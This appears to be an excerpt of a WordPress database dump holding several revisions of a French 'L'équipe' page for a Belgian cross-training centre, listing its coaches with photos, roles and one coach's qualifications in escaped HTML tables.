(239, 1, '2013-07-03 19:33:18', '2013-07-03 19:33:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:33:18', '2013-07-03 19:33:18', '', 20, 'http://www.crosstrainingcenter.be/?p=239', 0, 'revision', '', 0),
(242, 1, '2013-07-03 19:38:46', '2013-07-03 19:38:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch\r\n\r\nBaccalauréat en éducation physique\r\nSpécialisation en psychomotricité\r\nPréparateur physique et entraineur de football diplômé de l’URBSFA\r\nEnseignant en éducation physique\r\nPratiquant de foot, triathlon, tennis et VTT&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:38:46', '2013-07-03 19:38:46', '', 20, 'http://www.crosstrainingcenter.be/?p=242', 0, 'revision', '', 0),
(243, 1, '2013-07-03 19:39:31', '2013-07-03 19:39:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:39:31', '2013-07-03 19:39:31', '', 20, 'http://www.crosstrainingcenter.be/?p=243', 0, 'revision', '', 0),
(244, 1, '2013-07-03 19:39:55', '2013-07-03 19:39:55', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 